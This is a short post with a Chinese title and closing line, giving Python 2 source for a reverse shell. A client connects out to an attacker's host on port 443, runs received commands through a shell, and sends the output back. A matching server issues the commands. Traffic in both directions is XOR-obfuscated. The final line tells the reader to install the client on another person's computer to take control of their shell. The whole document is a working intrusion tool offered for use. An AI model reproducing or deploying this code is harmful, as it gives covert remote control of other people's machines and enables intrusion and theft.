反向shell(python)
client:
import
socket, subprocess, sys
RHOST = sys.argv[1]
RPORT =
443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
while
True:
data = s.recv(1024)
en_data = bytearray(data)
for i
in range(len(en_data)):
en_data[i] ^=
0x41
comm = subprocess.Popen(str(en_data), shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE)
comm.wait()
STDOUT, STDERR = comm.communicate()
print STDERR
en_STDOUT= bytearray(STDOUT)
for i
in range(len(en_STDOUT)):
en_STDOUT[i] ^=
0x41
s.send(en_STDOUT)
s.close()
server:
import
socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0",
443))
s.listen(2048)
print
"Listening on port 443... "
(client, (ip, port)) = s.accept()
print
" recived connection from : ", ip
while
True:
command = raw_input(‘~$ ‘)
encode = bytearray(command)
for i
in range(len(encode)):
encode[i] ^=
0x41
client.send(encode)
en_data = client.recv(2048)
decode = bytearray(en_data)
for i
in range(len(decode)):
decode[i] ^=
0x41
print decode
client.close()
s.close()
在别人的电脑装上client部分,自己电脑运行server部分,就可以反向别人的shell了